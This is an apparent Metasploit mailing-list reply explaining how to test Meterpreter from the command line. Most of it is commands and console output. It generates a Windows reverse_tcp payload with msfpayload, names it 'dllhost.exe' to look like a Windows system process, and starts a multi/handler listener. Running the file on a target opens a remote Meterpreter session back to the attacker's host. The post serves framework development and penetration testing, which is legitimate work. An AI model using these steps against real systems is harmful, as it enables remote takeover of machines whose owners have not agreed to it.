[framework] Meterpreter from a command line

[mmiller at hick.org]

Chuck,

Client-side support for stdapi has not been implemented in C.  However, you
should be able to accomplish what you're asking by using the payload handler
exploit.  This will use Metasploit's builtin support for stdapi in ruby, and
makes testing a whole lot easier.

Note: make sure you svn update, a recent change had slightly changed the behavior
of the payload handler which introduced some problems.

Here's how to go about this:

Step 1: Generate the executable that will act as the host for the meterpeter DLL.

This executable hosts the first stage of the payload (the reverse connect):

$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=10.4.79.2 X > dllhost.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 177
Options: LHOST=10.4.79.2

Step 2: Start the payload handler

$ ./msfconsole

 ____________ 
< metasploit >
 ------------ 
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ msf v3.0-beta-dev
+ -- --=[ 180 exploits - 104 payloads
+ -- --=[ 18 encoders - 5 nops
       =[ 31 aux

msf > use multi/handler
msf exploit(handler) > set LHOST 10.4.79.2
LHOST => 10.4.79.2
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

Step 3: Run dllhost.exe on the target computer

After running dllhost.exe, you should see this from msfconsole:

[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.4.79.2:4444 -> 10.4.79.102:3031)

meterpreter > idletime
User has been idle for: 8 secs

Keep in mind that you can use the payload handler from msfcli too.

Hope that helps.
